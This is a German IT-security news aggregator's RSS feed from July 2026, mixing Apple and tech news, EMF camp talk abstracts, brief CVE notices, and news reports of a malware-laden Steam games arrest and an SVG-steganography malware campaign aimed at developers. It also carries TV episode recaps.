<content:encoded><![CDATA[Apple Car Keys support appears to be heading to select Tank vehicles from Chinese automaker Great Wall Motor, giving owners another way to access and start their cars through an iPhone or Apple Watch. The feature stores a digital car key inside Apple Wallet and works with compatible vehicle hardware.



MacRumors spotted new backend code linked to Apple Wallet, which suggests GWM plans to add Car Keys support to its Tank brand. The company sells several Tank models, including the Tank 300, Tank 400, Tank 500, and Tank 700, although none currently support Apple’s digital car key feature.



How Apple Car Keys works



Apple Car Keys lets drivers lock, unlock, and start a supported vehicle without using a physical key. Users can hold an iPhone or Apple Watch near the vehicle’s NFC reader, while some supported cars also allow passive entry through newer wireless technology.



The available controls depend on the vehicle manufacturer, although basic support usually includes locking, unlocking, and starting the car. Owners can also store the key in Apple Wallet and share access with another person when the automaker supports that option.



Apple continues adding more brands to the Car Keys platform, with recent backend findings also pointing to future Volkswagen support. GWM-owned Wey was already included among the additional brands Apple announced in 2025, and Tank now appears likely to follow.]]></content:encoded>
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<title><![CDATA[The Marvellous Mouse-powered Music box (emf2026)]]></title>
<description><![CDATA[It started when I stupidly promising my 8 year old that if the mouse brought in by my cat made through the night, we could keep it. It ended with a beautiful rendition of Toccata in D played solely by the rising star Mr Cheesey and the contraption I attached to his wheel. In this talk, I’ll cover...]]></description>
<link>https://tsecurity.de/de/3678290/it-security-video/the-marvellous-mouse-powered-music-box-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678290/it-security-video/the-marvellous-mouse-powered-music-box-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 18:48:37 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It started when I stupidly promising my 8 year old that if the mouse brought in by my cat made through the night, we could keep it. It ended with a beautiful rendition of Toccata in D played solely by the rising star Mr Cheesey and the contraption I attached to his wheel. In this talk, I’ll cover the ideas behind the plans, the designing and development of the music box wheel, the challenges of actually making it into a real machine (when some of there parts didn’t even exist) that actually worked and the creation of a YouTube platform showing Mr Cheesey (and his co-star Daphne) running around on their mouse wheel and turning a little hole punch music box covering all the (non-copyrighted) classics.

I'll also include structured diagrams explaining how the contraption works in case anyone has a similar idea they want to realise.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/210-the-marvellous-mouse-powered-music-box]]></content:encoded>
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<title><![CDATA[The Future of Age Verification: Your Face Never Leaves Your Device]]></title>
<description><![CDATA[As age verification laws expand worldwide, organizations face growing pressure to protect users' privacy while meeting regulatory requirements. Incode explains how on-device age estimation verifies age without transmitting or storing facial images, reducing biometric privacy risks while supportin...]]></description>
<link>https://tsecurity.de/de/3678073/it-security-nachrichten/the-future-of-age-verification-your-face-never-leaves-your-device/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678073/it-security-nachrichten/the-future-of-age-verification-your-face-never-leaves-your-device/</guid>
<pubDate>Sat, 18 Jul 2026 15:37:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As age verification laws expand worldwide, organizations face growing pressure to protect users' privacy while meeting regulatory requirements. Incode explains how on-device age estimation verifies age without transmitting or storing facial images, reducing biometric privacy risks while supporting compliance. [...]]]></content:encoded>
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<title><![CDATA[Who are the Hacky Racers? (emf2026)]]></title>
<description><![CDATA[Hacky Racers is a low cost DIY small electric vehicle racing series - www.hackyracers.co.uk
We started in 2018 after some of our founders saw the Power Wheels Racers for Adults series in the US and thought we could do something similar in the UK.
We’ll go through the basics of how to get started ...]]></description>
<link>https://tsecurity.de/de/3677922/it-security-video/who-are-the-hacky-racers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677922/it-security-video/who-are-the-hacky-racers-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 13:48:00 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hacky Racers is a low cost DIY small electric vehicle racing series - www.hackyracers.co.uk
We started in 2018 after some of our founders saw the Power Wheels Racers for Adults series in the US and thought we could do something similar in the UK.
We’ll go through the basics of how to get started - from those stupid ideas, where to start to source your components along with the various construction/assembly options &amp; techniques, along with our rogues photo gallery.
We have a base set of build rules, including some basic safety items of which we can give a quick over view. The vehicle theme is down to your imagination (and/or stupid idea!)
We attend any event that will have us around the country that has grass (and sometimes tarmac/concrete) that needs a make-shift track imprint leaving behind - Electromagnetic Field, Everything Electric, National Kit Car Show, Santa Pod drag strip to name but a few.
We generally attend events in spring to autumn. Winter generally is the off season for building your next creation.
Come and watch our non-contact Motorsport UK registered racing series (yes we don't believe those parts either) that will run throughout the 3 days of EMF on our track in front of Null Sector

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/212-who-are-the-hacky-racers]]></content:encoded>
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<title><![CDATA[Who are the Hacky Racers? (emf2026)]]></title>
<description><![CDATA[Hacky Racers is a low cost DIY small electric vehicle racing series - www.hackyracers.co.uk
We started in 2018 after some of our founders saw the Power Wheels Racers for Adults series in the US and thought we could do something similar in the UK.
We’ll go through the basics of how to get started ...]]></description>
<link>https://tsecurity.de/de/3677915/it-security-video/who-are-the-hacky-racers-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677915/it-security-video/who-are-the-hacky-racers-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 13:32:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hacky Racers is a low cost DIY small electric vehicle racing series - www.hackyracers.co.uk
We started in 2018 after some of our founders saw the Power Wheels Racers for Adults series in the US and thought we could do something similar in the UK.
We’ll go through the basics of how to get started - from those stupid ideas, where to start to source your components along with the various construction/assembly options &amp; techniques, along with our rogues photo gallery.
We have a base set of build rules, including some basic safety items of which we can give a quick over view. The vehicle theme is down to your imagination (and/or stupid idea!)
We attend any event that will have us around the country that has grass (and sometimes tarmac/concrete) that needs a make-shift track imprint leaving behind - Electromagnetic Field, Everything Electric, National Kit Car Show, Santa Pod drag strip to name but a few.
We generally attend events in spring to autumn. Winter generally is the off season for building your next creation.
Come and watch our non-contact Motorsport UK registered racing series (yes we don't believe those parts either) that will run throughout the 3 days of EMF on our track in front of Null Sector

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/212-who-are-the-hacky-racers]]></content:encoded>
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<title><![CDATA[EUDI Wallet: Scheitert das Digitalprojekt am mangelnden Vertrauen in die Regierung?]]></title>
<description><![CDATA[In einem halben Jahr soll die digitale Brieftasche in Deutschland an den Start gehen und mehr Sicherheit und Kontrolle über die eigenen Daten bieten. Trotzdem hat rund jede:r Zweite noch nie von ihr gehört.
weiterlesen auf t3n.de]]></description>
<link>https://tsecurity.de/de/3677839/it-nachrichten/eudi-wallet-scheitert-das-digitalprojekt-am-mangelnden-vertrauen-in-die-regierung/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677839/it-nachrichten/eudi-wallet-scheitert-das-digitalprojekt-am-mangelnden-vertrauen-in-die-regierung/</guid>
<pubDate>Sat, 18 Jul 2026 12:32:49 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In einem halben Jahr soll die digitale Brieftasche in Deutschland an den Start gehen und mehr Sicherheit und Kontrolle über die eigenen Daten bieten. Trotzdem hat rund jede:r Zweite noch nie von ihr gehört.
<a href="https://t3n.de/news/eudi-wallet-scheitert-das-digitalprojekt-am-mangelnden-vertrauen-in-die-regierung-1753507/?utm_source=rss&amp;utm_medium=newsFeed&amp;utm_campaign=newsFeed">weiterlesen auf t3n.de</a>]]></content:encoded>
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<title><![CDATA[CVE-2026-9202 | IBM Langflow up to 1.10.0 User Account Creation improper authentication (EUVD-2026-45235)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in IBM Langflow up to 1.10.0. This issue affects some unknown processing of the component User Account Creation. The manipulation leads to improper authentication.

This vulnerability is traded as CVE-2026-9202. It is possible to initiate the ...]]></description>
<link>https://tsecurity.de/de/3677629/sicherheitsluecken/cve-2026-9202-ibm-langflow-up-to-1100-user-account-creation-improper-authentication-euvd-2026-45235/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677629/sicherheitsluecken/cve-2026-9202-ibm-langflow-up-to-1100-user-account-creation-improper-authentication-euvd-2026-45235/</guid>
<pubDate>Sat, 18 Jul 2026 09:38:53 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/ibm:langflow">IBM Langflow up to 1.10.0</a>. This issue affects some unknown processing of the component <em>User Account Creation</em>. The manipulation leads to improper authentication.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-9202">CVE-2026-9202</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
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<title><![CDATA[Internet of Baby - the privacy implications of a smart nursery. (emf2026)]]></title>
<description><![CDATA[IoT baby monitors, smart bassinets, connected toys, and AI-powered parenting apps promise peace of mind and convenience for tired parents of wee children.

But behind the reassuring notifications and cutesy designs lies an ever expanding ecosystem of microphones, cameras, biometric sensors, cloud...]]></description>
<link>https://tsecurity.de/de/3677011/it-security-video/internet-of-baby-the-privacy-implications-of-a-smart-nursery-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677011/it-security-video/internet-of-baby-the-privacy-implications-of-a-smart-nursery-emf2026/</guid>
<pubDate>Fri, 17 Jul 2026 22:48:23 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[IoT baby monitors, smart bassinets, connected toys, and AI-powered parenting apps promise peace of mind and convenience for tired parents of wee children.

But behind the reassuring notifications and cutesy designs lies an ever expanding ecosystem of microphones, cameras, biometric sensors, cloud analytics, and behaviour profiling systems collecting data about children - before they even have started solids!

This talk explores the privacy implications of modern baby IoT devices: what data is collected, where it goes, who profits from it.

I will examine real-world breaches, insecure ecosystems, children's data gathering, and the consequences of normalising surveillance from infancy.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/220-internet-of-baby-the-privacy-implications-of-a-smart-nursery]]></content:encoded>
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<title><![CDATA[Silo Season 3 Episode 3 Ending Explained: What Juliette Discovers]]></title>
<description><![CDATA[Silo Season 3 Episode 3 pushes Juliette Nichols deeper into the mines, where she finally discovers that Lukas Kyle is alive and has been hiding from the authorities.



The episode, titled “A Dark Web,” was released on Apple TV on July 17, 2026. It continues Juliette’s attempt to recover her miss...]]></description>
<link>https://tsecurity.de/de/3676813/ios-mac-os/silo-season-3-episode-3-ending-explained-what-juliette-discovers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676813/ios-mac-os/silo-season-3-episode-3-ending-explained-what-juliette-discovers/</guid>
<pubDate>Fri, 17 Jul 2026 20:23:44 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 3 pushes Juliette Nichols deeper into the mines, where she finally discovers that Lukas Kyle is alive and has been hiding from the authorities.



The episode, titled “A Dark Web,” was released on Apple TV on July 17, 2026. It continues Juliette’s attempt to recover her missing memories while Camille Sims receives increasingly dangerous instructions from the Algorithm.




Episode title: A Dark Web



Release date: July 17, 2026



Streaming platform: Apple TV



Genre: Science fiction, mystery and dystopian drama



Season length: 10 episodes



New episodes: Every Friday



Season finale: September 4, 2026




Apple confirmed that Silo Season 3 contains 10 episodes, with the season running from July 3 through September 4, 2026.



What happens in Silo Season 3 Episode 3?



Spoilers ahead for Silo Season 3 Episode 3.



Juliette continues questioning the story she has been told about the months missing from her memory. Camille claims Juliette spent that time recovering inside a refuge hut, but Juliette begins noticing details that do not make sense.



During the previous episode, viewers learned that Camille had been secretly giving Juliette medication designed to suppress her memories. Juliette eventually stopped taking the pills, allowing parts of her old personality and instincts to return.



Her search takes her into the mines alongside Knox. Juliette believes Lukas Kyle can help her understand what happened during the rebellion and why powerful people inside Silo 18 want the truth buried.



At the same time, Camille struggles with the Algorithm’s demands. The system wants her to protect the Silo, even if that means wiping the memories of thousands of residents or killing anyone who threatens its control.



What does Juliette discover in the mines?



Juliette discovers that Lukas Kyle survived.



Camille orders poisonous gas to be released into the mining tunnels in an attempt to force Lukas from his hiding place. Juliette becomes trapped inside the contaminated area and nearly dies before Lukas appears and saves her.



His return changes the direction of the season. Lukas knows important details about the Silo’s systems, the rebellion and the Safeguard protocol. He can also help Juliette rebuild the memories that Camille and the Algorithm tried to erase.



Juliette also learns that Kat Billings has connections to the Outsiders. This suggests that resistance groups are already operating inside Silo 18 and helping people escape the Algorithm’s surveillance.



Silo Season 3 Episode 3 ending explained



The ending places Juliette in immediate danger.



After Juliette survives the gas attack, the Algorithm decides that her death would calm the growing unrest inside Silo 18. It instructs Camille to assassinate her, and Camille accepts the order despite showing signs of doubt.



Juliette has therefore found the person she was searching for, but her discovery has made her an even bigger threat. Camille must now choose between following the Algorithm and protecting the woman who can expose the truth.



The Before Times storyline also grows darker as Helen Drew and Daniel Keene investigate a mysterious recording connected to Daniel’s sister. Their source disappears, and his home is found ransacked, suggesting someone is still protecting the secrets behind the creation of the silos.



With Lukas alive and the Algorithm targeting Juliette, Episode 4 should move the story closer to an open conflict inside Silo 18. What do you think Lukas knows, and will Camille really follow the order to kill Juliette? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[FBI Arrests Man Accused of Using Steam Games To Drain Victims' Crypto Wallets]]></title>
<description><![CDATA[The FBI arrested a Florida man accused of uploading fake Steam games containing malware that stole passwords, data, and cryptocurrency wallet credentials from victims. Prosecutors say the scheme infected about 8,000 people, compromised roughly 80 crypto wallets, and stole at least $220,000 throug...]]></description>
<link>https://tsecurity.de/de/3676784/it-security-nachrichten/fbi-arrests-man-accused-of-using-steam-games-to-drain-victims-crypto-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676784/it-security-nachrichten/fbi-arrests-man-accused-of-using-steam-games-to-drain-victims-crypto-wallets/</guid>
<pubDate>Fri, 17 Jul 2026 20:09:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The FBI arrested a Florida man accused of uploading fake Steam games containing malware that stole passwords, data, and cryptocurrency wallet credentials from victims. Prosecutors say the scheme infected about 8,000 people, compromised roughly 80 crypto wallets, and stole at least $220,000 through games that appeared legitimate but secretly carried malware. TechCrunch reports: On Tuesday, the FBI arrested Zyaire Wilkins, a 21-year-old Florida resident and student. On Wednesday, prosecutors accused him and a number of unnamed co-conspirators of hacking crimes. Over the past two years, Wilkins and his partners allegedly published several malware-laden video games on Steam, including BlockBlasters, Dashverse, Lampy, Lunara, and PirateFi. Using that malware, says the FBI, Wilkins and his accomplices infected around 8,000 victims, and then hacked around 80 cryptocurrency wallets to steal at least $220,000 worth of crypto. Wilkins and the others marketed their malicious video games on Discord, LinkedIn, and Telegram, according to the authorities.
 
[...] After the FBI identified another person involved in the crimes, according to the complaint, federal agents interviewed them. The unnamed person said they worked with other people to raise money to launch and market the malicious games in return for sharing some of the stolen cryptocurrency. The FBI identified a specific crypto account involved in the scheme, and then traced cryptocurrency payments made with that account to buy several gift cards, including for UberEats. After subpoenaing Uber, the feds were able to see that the gift cards were linked to an account that made deliveries to Wilkins, who went by the nickname Sibel.eth online, according to the complaint. The feds then got a search warrant for Wilkins' residence, where they seized his MacBook laptop, cellphones, other devices, and digital wallets. According to the complaint, he refused to speak or answer any questions.<p></p><div class="share_submission">
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</div><p><a href="https://games.slashdot.org/story/26/07/17/1741237/fbi-arrests-man-accused-of-using-steam-games-to-drain-victims-crypto-wallets?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[CVE-2024-58360 | stoatchat up to 0.7.7 Account Creation Remote Code Execution (CNNVD-2026-97753404)]]></title>
<description><![CDATA[A vulnerability has been found in stoatchat up to 0.7.7 and classified as critical. This issue affects some unknown processing of the component Account Creation. Performing a manipulation results in Remote Code Execution.

This vulnerability is known as CVE-2024-58360. Remote exploitation of the ...]]></description>
<link>https://tsecurity.de/de/3676758/sicherheitsluecken/cve-2024-58360-stoatchat-up-to-077-account-creation-remote-code-execution-cnnvd-2026-97753404/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676758/sicherheitsluecken/cve-2024-58360-stoatchat-up-to-077-account-creation-remote-code-execution-cnnvd-2026-97753404/</guid>
<pubDate>Fri, 17 Jul 2026 19:51:48 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability has been found in <a href="https://vuldb.com/product/stoatchat">stoatchat up to 0.7.7</a> and classified as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects some unknown processing of the component <em>Account Creation</em>. Performing a manipulation results in Remote Code Execution.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2024-58360">CVE-2024-58360</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
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<title><![CDATA[REF9403: Falsche Coding-Tests verstecken OtterCookie-nahe Malware in SVG-Flagdateien]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine neue Kampagne namens REF9403 nutzt gefälschte Jobangebote und Coding-Tests, um Entwickler über präparierte Repositories zu infizieren. Auffällig ist die Tarnung: In SVG-Dateien von Länderflaggen stecken Base64-kodierte Payload-Fragmente, die erst beim Ausführen rekonst...]]></description>
<link>https://tsecurity.de/de/3676729/it-security-nachrichten/ref9403-falsche-coding-tests-verstecken-ottercookie-nahe-malware-in-svg-flagdateien/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676729/it-security-nachrichten/ref9403-falsche-coding-tests-verstecken-ottercookie-nahe-malware-in-svg-flagdateien/</guid>
<pubDate>Fri, 17 Jul 2026 19:38:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-ottercookie-ref9403-steganografie-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine neue Kampagne namens REF9403 nutzt gefälschte Jobangebote und Coding-Tests, um Entwickler über präparierte Repositories zu infizieren. Auffällig ist die Tarnung: In SVG-Dateien von Länderflaggen stecken Base64-kodierte Payload-Fragmente, die erst beim Ausführen rekonstruiert werden. Die Schadsoftware ist eng an OtterCookie angelehnt und kombiniert Credential-Diebstahl, Wallet-Erbeutung, File-Exfiltration sowie Remote-Control per Socket.IO. Damit […]</p>
<div><a href="https://www.it-boltwise.de/ref9403-falsche-coding-tests-verstecken-ottercookie-nahe-malware-in-svg-flagdateien.html">... den vollständigen Artikel <strong>»REF9403: Falsche Coding-Tests verstecken OtterCookie-nahe Malware in SVG-Flagdateien«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/ref9403-falsche-coding-tests-verstecken-ottercookie-nahe-malware-in-svg-flagdateien.html">REF9403: Falsche Coding-Tests verstecken OtterCookie-nahe Malware in SVG-Flagdateien</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Fake Coding Tests Deliver OtterCookie-Aligned Malware Hidden in SVG Flag Images]]></title>
<description><![CDATA[North Korean threat actors linked to the Contagious Interview campaign have been observed employing steganography in SVG image files to conceal malicious payloads as part of a campaign using fake job postings and coding challenges.

"Any user who ran the project ended up with a four-stage payload...]]></description>
<link>https://tsecurity.de/de/3676461/it-security-nachrichten/fake-coding-tests-deliver-ottercookie-aligned-malware-hidden-in-svg-flag-images/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676461/it-security-nachrichten/fake-coding-tests-deliver-ottercookie-aligned-malware-hidden-in-svg-flag-images/</guid>
<pubDate>Fri, 17 Jul 2026 17:23:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[North Korean threat actors linked to the Contagious Interview campaign have been observed employing steganography in SVG image files to conceal malicious payloads as part of a campaign using fake job postings and coding challenges.

"Any user who ran the project ended up with a four-stage payload aligned with OTTERCOOKIE: a browser credential and crypto wallet stealer, a file stealer, a]]></content:encoded>
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<item>
<title><![CDATA[Fake-Coding-Tests verstecken DPRK-Malware in SVG-Flaggen (REF9403)]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Eine Kampagne namens REF9403 nutzt gefälschte Jobangebote und Coding-Tests, um Entwickler über Slack zu erreichen. In scheinbar harmlosen SVG-Flaggen verbergen Angreifer Base64-Fragmente, die beim Start eines Servers zu einem mehrstufigen Schadprogramm zusammengesetzt werde...]]></description>
<link>https://tsecurity.de/de/3676342/it-security-nachrichten/fake-coding-tests-verstecken-dprk-malware-in-svg-flaggen-ref9403/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676342/it-security-nachrichten/fake-coding-tests-verstecken-dprk-malware-in-svg-flaggen-ref9403/</guid>
<pubDate>Fri, 17 Jul 2026 16:38:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-svg-steganografie-malware-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Eine Kampagne namens REF9403 nutzt gefälschte Jobangebote und Coding-Tests, um Entwickler über Slack zu erreichen. In scheinbar harmlosen SVG-Flaggen verbergen Angreifer Base64-Fragmente, die beim Start eines Servers zu einem mehrstufigen Schadprogramm zusammengesetzt werden. Laut Elastic Security stehlen die Module Browser- und Wallet-Credentials, entführen Dateien, übernehmen per Socket.IO entfernte Kontrolle und lesen […]</p>
<div><a href="https://www.it-boltwise.de/fake-coding-tests-verstecken-dprk-malware-in-svg-flaggen-ref9403.html">... den vollständigen Artikel <strong>»Fake-Coding-Tests verstecken DPRK-Malware in SVG-Flaggen (REF9403)«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/fake-coding-tests-verstecken-dprk-malware-in-svg-flaggen-ref9403.html">Fake-Coding-Tests verstecken DPRK-Malware in SVG-Flaggen (REF9403)</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
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<title><![CDATA[Roblox’s AI game creation tool is coming to iPhone and iPad]]></title>
<description><![CDATA[Roblox’s new AI game creation tool Build lets iPhone users turn a text prompt into a playable game. Give it a try!
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3676270/ios-mac-os/robloxs-ai-game-creation-tool-is-coming-to-iphone-and-ipad/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676270/ios-mac-os/robloxs-ai-game-creation-tool-is-coming-to-iphone-and-ipad/</guid>
<pubDate>Fri, 17 Jul 2026 16:09:24 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="439" src="https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1440x810.jpg.webp" class="attachment-large size-large wp-post-image" alt="Roblox AI game creation tool Build" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1440x810.jpg.webp 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-400x225.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-768x432@2x.jpg.webp 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-768x432.jpg.webp 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-1020x574.jpg.webp 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02.jpg.webp 1600w, https://www.cultofmac.com/wp-content/uploads/2026/07/Roblox-AI-game-creation_02-400x225@2x.jpg 800w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Roblox’s new AI game creation tool Build lets iPhone users turn a text prompt into a playable game. Give it a try!</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[1Password Now Lets Claude Log In Without Seeing Your Passwords]]></title>
<description><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Pas...]]></description>
<link>https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676172/ios-mac-os/1password-now-lets-claude-log-in-without-seeing-your-passwords/</guid>
<pubDate>Fri, 17 Jul 2026 15:26:07 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you want an artificial intelligence tool to book a flight or buy an audiobook, it usually needs to log into your personal accounts. Sharing your private login details directly with a chatbot feels risky, but a new software update changes that process entirely. The popular password manager 1Password just built a clever way for the smart assistant Claude to access your online accounts without ever actually seeing your private passwords or verification codes.



The new tool needs your fingerprint to approve each login



When Claude needs to get into a website to finish a task, it sends a prompt to your 1Password app. You will see exactly what site the agent wants to access and why it needs to go there. To approve the request, you just use a biometric check, like a quick fingerprint scan on your keyboard.



Once you approve the request, 1Password drops the username and password directly into the website form. The actual text of the password never goes to Claude, its memory banks, or the servers at Anthropic. This method keeps your sensitive data strictly on your own device while the digital assistant does its job.



A special lockdown mode keeps your main password vault hidden



Along with this handy feature, 1Password introduced a security setting called Agentic Mode. Whenever a supported AI bot takes control of your web browser, this mode automatically locks down your entire vault. The bot can only use the specific login details you just approved for that exact moment, so your other accounts stay completely off limits.



Right now, this setup is only available for Mac users on individual, family, or business plans. You need the desktop apps and browser extensions for both 1Password and Claude to make it work. The company also plans to add support for payment cards and identity details later, making it easier to let your digital helper handle online shopping.



Instead of forcing you to choose between convenience and security, this integration proves we can safely trust digital assistants with daily chores. It sets a clear, safe standard for how smart apps should handle our private data moving forward.]]></content:encoded>
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<title><![CDATA[Silo Season 3 Episode 4 Release Date, Time, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a ...]]></description>
<link>https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 14:10:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a weekly Friday release schedule. The ten-episode season will run through September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Release time: 12 a.m. PT and 3 a.m. ET



India release time: Around 12:30 p.m. IST



Streaming platform: Apple TV



Genre: Science fiction, dystopian drama and mystery



